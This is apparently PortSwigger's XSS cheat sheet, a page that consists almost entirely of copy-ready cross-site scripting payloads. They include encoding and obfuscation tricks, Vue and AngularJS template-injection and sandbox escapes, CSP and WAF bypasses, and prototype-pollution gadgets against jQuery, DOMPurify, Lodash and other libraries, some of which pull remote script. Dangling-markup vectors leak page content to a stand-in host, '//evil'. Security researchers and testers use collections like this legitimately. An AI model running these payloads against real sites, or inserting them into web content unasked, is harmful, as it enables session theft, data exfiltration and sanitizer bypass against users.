<script>\u{0000000061}lert(1)</script>
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Works in Chrome Works in Firefox Works in Safari

Hex encoding JavaScript escapes

<script>eval('\x61lert(1)')</script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Decimal encoding with padded zeros

<a href="&#0000106avascript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Hex encoding with padded zeros

<a href="&#x0000006a;avascript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari

Hex encoding is not case sensitive

<a href="&#X6A;avascript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Obfuscation

Works in Chrome Works in Firefox Works in Safari

Data protocol inside script src with base64

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Data protocol inside script src with base64 and URL encoding

<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Client-side template injection

VueJS reflected

Version:

Author:

Length:

Vector:

Copy:

Version 2

Peter af Geijerstam (Swedish Shellcode Factory)

37

<x v-if=_c.constructor('alert(1)')()>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_c.constructor('alert(1)')()}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_v.constructor('alert(1)')()}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_s.constructor('alert(1)')()}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

39

<p v-show="_c.constructor`alert(1)`()">
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x v-on:click='_b.constructor`alert(1)`()'>click</x>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

41

<x v-bind:a='_b.constructor`alert(1)`()'>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x @[_b.constructor`alert(1)`()]>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x :[_b.constructor`alert(1)`()]>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<p v-=_c.constructor`alert(1)`()>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x #[_c.constructor`alert(1)`()]>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

<p :=_c.constructor`alert(1)`()>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_c.constructor('alert(1)')()}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

30

{{_b.constructor`alert(1)`()}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

<x v-bind:is="'script'" src="//14.rs" />
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

27

<x is=script src=//⑭.₨>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

48

<x @click='_b.constructor`alert(1)`()'>click</x>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x @[_b.constructor`alert(1)`()]>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x :[_b.constructor`alert(1)`()]>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x #[_c.constructor`alert(1)`()]>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

31

<xyz<img/src onerror=alert(1)>>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{$el.ownerDocument.defaultView.alert(1)}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

56

{{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}}
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

45

<img src @error=e=$event.path.pop().alert(1)>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

55

<img src @error=e=$event.composedPath().pop().alert(1)>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

30

<img src @error=this.alert(1)>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

24

<svg@load=this.alert(1)>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

{{_openBlock.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{_createBlock.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

46

{{_toDisplayString.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{_createVNode.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

47

<p v-show=_createBlock.constructor`alert(1)`()>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

41

<x @[_openBlock.constructor`alert(1)`()]>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

<x @[_capitalize.constructor`alert(1)`()]>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x @click=_withCtx.constructor`alert(1)`()>click</x>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

<x @click=$event.view.alert(1)>click</x>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

34

{{_Vue.h.constructor`alert(1)`()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

{{$emit.constructor`alert(1)`()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

35

<component is=script text=alert(1)>
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AngularJS sandbox escapes reflected

Version:

Author:

Length:

Vector:

Copy:

1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}
Jump to the code Link

1.2.2 - 1.2.5

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}
Jump to the code Link

1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}
Jump to the code Link

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}
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>=1.6.0 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}
Jump to the code Link

DOM based AngularJS sandbox escapes

(Using orderBy or no $eval)

Version:

Author:

Length:

Vector:

Copy:

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

20

{}.")));alert(1)//";
Jump to the code Link

AngularJS CSP bypasses

Version:

Author:

Length:

Vector:

Copy:

All versions (all browsers) shorter using assignment

Gareth Heyes (PortSwigger)

66

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
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All versions (all browsers) shorter via oncut

Savan Gadhiya (NotSoSecure)

59

<input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'>
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Scriptless attacks

Dangling markup

Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Img to pass markup through src attribute

<img src="//evil? <image src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Video using track element

<video><track default src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Video using source element and src attribute

<video><source src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Audio using source element and src attribute

<audio><source src="//evil?
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Object data

<object data="//evil?
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Firefox Works in Safari

Use textarea to consume markup and post to external site

<form><button formaction=//evil>XSS</button><textarea name=x>
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

Pass markup data through window.name using form target

<button form=x>XSS</button><form id=x action=//evil target='
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Safari

Overwrite type attribute with image in hidden inputs

<input type=hidden type=image src="//evil?
Jump to the code Link

Polyglots

Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

WAF bypass global objects

Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (window)

';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (self)

';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (this)

';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (top)

';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (parent)

';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (frames)

';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (globalThis)

';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (window)

';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (self)

';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (this)

';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (top)

';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (parent)

';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (frames)

';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (globalThis)

';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)

';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)

';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)

';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)

';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)

';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)

';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)

';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (window)

';window['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (self)

';self['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (this)

';this['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (top)

';top['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (parent)

';parent['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (frames)

';frames['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (globalThis)

';globalThis['\141\154\145\162\164']('\130\123\123');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (window)

';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (self)

';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (this)

';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (parent)

';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (frames)

';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (globalThis)

';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (window)

';window[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (self)

';self[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (this)

';this[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (top)

';top[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (parent)

';parent[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (frames)

';frames[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (globalThis)

';globalThis[/al/.source+/ert/.source](/XSS/.source);//
Jump to the code Link
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Content types

This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.

Response content types

This section lists content-types that can be used for XSS when you can inject into the content-type header.

Impossible labs

To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.

Title Description Length limit Closest vector Link
Basic context, WAF blocks <[a-zA-Z]This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.N/AN/A🔗
Script based injection but quotes, forward slash and backslash are escapedWe often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block.

The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML.
N/AN/A🔗
innerHTML context but no equals allowedYou have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event.N/AN/A🔗
Basic context length limitThis lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?15<q oncut=alert``🔗
Attribute context length limitThe context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?14"oncut=alert`` 🔗
Basic context length limit, arbitrary codeIt's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.19<q oncut=eval(name)🔗
Attribute context length limit arbitrary codeAgain calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.17See link🔗
Injection occurs inside a frameset but before the bodyWe received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.N/AN/A🔗
Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed.The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.`. Luan Herrera solved this lab in an amazing way, you can view the solution in the following post.N/AN/A🔗
Injection occurs inside double quoted src attribute of a image elementThe double quote is encoded, the challenge is to find a way to execute XSS within a quoted src attribute.N/AN/A🔗

Prototype pollution

Library Payload Author Version Fingerprint
Wistia Embedded Video<script>
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
</script>
William BowlingAll versionsreturn (typeof wistiaEmbeds !== 'undefined')
$(x).off jQuery<script>
Object.prototype.preventDefault='x';
Object.prototype.handleObj='x';
Object.prototype.delegateTarget='<img/src/onerror=alert(1)>';
/* No extra code needed for jQuery 1 & 2 */$(document).off('foobar');
</script>
Sergey BobrovAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$(html) jQuery<script>
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script><script>
$('<div x="x"></div>')
</script>
Sergey BobrovAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.get jQuery<script>
Object.prototype.url = ['data:,alert(1)//'];
Object.prototype.dataType = 'script';
</script>
<script>
$.get('https://google.com/');
$.post('https://google.com/');
</script>
Michał Bentkowski>= 3.0.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery<script>
Object.prototype.src = ['data:,alert(1)//']
</script>
<script>
$.getScript('https://google.com/')
</script>
s1r1us>= 3.4.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery<script>
Object.prototype.url = 'data:,alert(1)//'
</script>
<script>
$.getScript('https://google.com/')
</script>
s1r1us3.0.0 - 3.3.1return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
Google reCAPTCHA<script>
Object.prototype.srcdoc=['<script>alert(1)<\/script>']
</script>
<div class="g-recaptcha" data-sitekey="your-site-key"/>
s1r1usreturn (typeof recaptcha !== 'undefined')
Twitter Universal Website Tag<script>
Object.prototype.hif = ['javascript:alert(document.domain)'];
</script>
Sergey Bobrovreturn (typeof twq !== 'undefined' && typeof twq.version !== 'undefined')
Tealium Universal Tag<script>
Object.prototype.attrs = {src:1};
Object.prototype.src='https://portswigger-labs.net/xss/xss.js'
</script>
Sergey Bobrovreturn (typeof utag !== 'undefined' && typeof utag.id !== 'undefined')
Akamai Boomerang<script>Object.prototype.BOOMR = 1;
Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script>
s1r1usreturn (typeof BOOMR !== 'undefined')
Lodash<script>
Object.prototype.sourceURL = '\u2028\u2029alert(1)'
</script>
<script>
_.template('test')
</script>
Alex Brasetvik<= 4.17.15return (typeof _ !== 'undefined' && typeof _.template !== 'undefined' && typeof _.VERSION !== 'undefined')
sanitize-html<script>
Object.prototype['*'] = ['onload']</script>
<script>
document.write(sanitizeHtml('<iframe onload=alert(1)>'))
</script>
Michał Bentkowskireturn (typeof sanitizeHtml !== 'undefined')
js-xss<script>
Object.prototype.whiteList = {img: ['onerror', 'src']}
</script>
<script>
document.write(filterXSS('<img src onerror=alert(1)>'))
</script>
Michał Bentkowskireturn (typeof filterXSS !== 'undefined')
DOMPurify<script>
Object.prototype.ALLOWED_ATTR = ['onerror', 'src']
</script>
<script>
document.write(DOMPurify.sanitize('<img src onerror=alert(1)>'))
</script>
Michał Bentkowski<= 2.0.12return (typeof DOMPurify !== 'undefined')
DOMPurify<script>
Object.prototype.documentMode = 9
</script>
Michał Bentkowski<= 2.0.12return (typeof DOMPurify !== 'undefined')
Closure<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>
Michał Bentkowskireturn (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Closure<script>
Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
</script>
Michał Bentkowskireturn (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Marionette.js / Backbone.js<script>
Object.prototype.tagName = 'img'
Object.prototype.src = ['x:x']
Object.prototype.onerror = ['alert(1)']
</script>
<script>
(function() {
var View = Mn.View.extend({template: '#template-layout'});
var App = Mn.Application.extend({region: '#app', onStart: function() {this.showView(new View());}});
var app = new App();
app.start();
})();
</script>
<div id="template-layout" type="x-template/underscore">xxx</div>
Sergey Bobrovreturn (typeof Marionette !== 'undefined') return (typeof Backbone !== 'undefined' && typeof Backbone.VERSION !== 'undefined')
Adobe Dynamic Tag Management<script>
Object.prototype.src='data:,alert(1)//'
</script>
Sergey Bobrovreturn (typeof _satellite !== 'undefined')
Embedly Cards<script>
Object.prototype.onload = 'alert(1)'
</script>
Guilherme Keerokreturn (typeof window.embedly !== 'undefined')
Segment Analytics.js<script>
Object.prototype.script = [1,'<img/src/onerror=alert(1)>','<img/src/onerror=alert(2)>']
</script>
Sergey Bobrovreturn (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined')
Knockout.js<strong data-bind="text:'hello'"></strong>
<script>
Object.prototype[4]="a':1,[alert(1)]:1,'b";Object.prototype[5]=',';
</script><script>
ko.applyBindings({})
</script>
Michał Bentkowski

Classic vectors (XSS crypt)

Image src with JavaScript protocol

<img src="javascript:alert(1)">
Jump to the code Link

Body background with JavaScript protocol

<body background="javascript:alert(1)">
Jump to the code Link

Iframe data urls no longer work as modern browsers use a null origin

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
Jump to the code Link

JScript compact was a minimal version of JS that wasn't widely used in IE

<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
Jump to the code Link

JavaScript entities used to work in Netscape Navigator

<a title="&{alert(1)}">XSS</a>
Jump to the code Link

JavaScript stylesheets used to be supported by Netscape Navigator

<link href="xss.js" rel=stylesheet type="text/javascript">
Jump to the code Link

Button used to consume markup

<form><button name=x formaction=x><b>stealme
Jump to the code Link

In quirks mode IE allowed you to use = instead of :

<div style=xss=expression(alert(1))> <div style="color&#x3dred">test</div>
Jump to the code Link
Works in Firefox Works in Firefox

Firefox allows NULLs inside named entities

<a href="javascript& colon ;alert(1)">Firefox</a>
Jump to the code Link
Works in Firefox Works in Safari

Safari used to allow any tag to have a onload event inside SVG

<svg><xss onload=alert(1)>
Jump to the code Link

Isindex using src attribute

<isindex type=image src="//evil?
Jump to the code Link
Works in Chrome

discard tag and onbegin

<svg><discard onbegin=alert(1)>
Jump to the code Link
Works in Firefox

onloadstart event for media elements in Firefox v107 and below

<img src=validimage.png onloadstart=alert(1)>
Jump to the code Link
Works in Firefox

onloadend event for media elements in Firefox v107 and below

<input type=image onloadend=alert(1) src=validimage.png>
Jump to the code Link
Works in Firefox

onbounce event for marquee element in Firefox v125 and below

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
Jump to the code Link
Works in Firefox

onfinish event for marquee element in Firefox v125 and below

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
Jump to the code Link
Works in Firefox

onstart event for marquee element in Firefox v125 and below

<marquee onstart=alert(1)>XSS</marquee>
Jump to the code Link

Credits

Brought to you by PortSwigger Research. Created by @garethheyes.

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jann Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar, Dwi Siswanto, bxmbn, Tarunkant Gupta, Rando111111, laytonctf, Begeek, Hannes Leopold, yawnmoth, yawnmoth, Yair Amit, Franz Sedlmaier, Łukasz Pilorz, Steven Christey, Dan Crowley, Rene Ledosquet, Kurt Huwig, Moritz Naumann, Jonathan Vanasco, nEUrOO, Sec Consult, Timo, Ozh, David Ross, Lukasz Plonka (sp3x), xhzeem, Mach1ne, AmirMohammad Safari, Tom Schuster, Wcraft-log, Filipnyquist, zhenwarx

You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request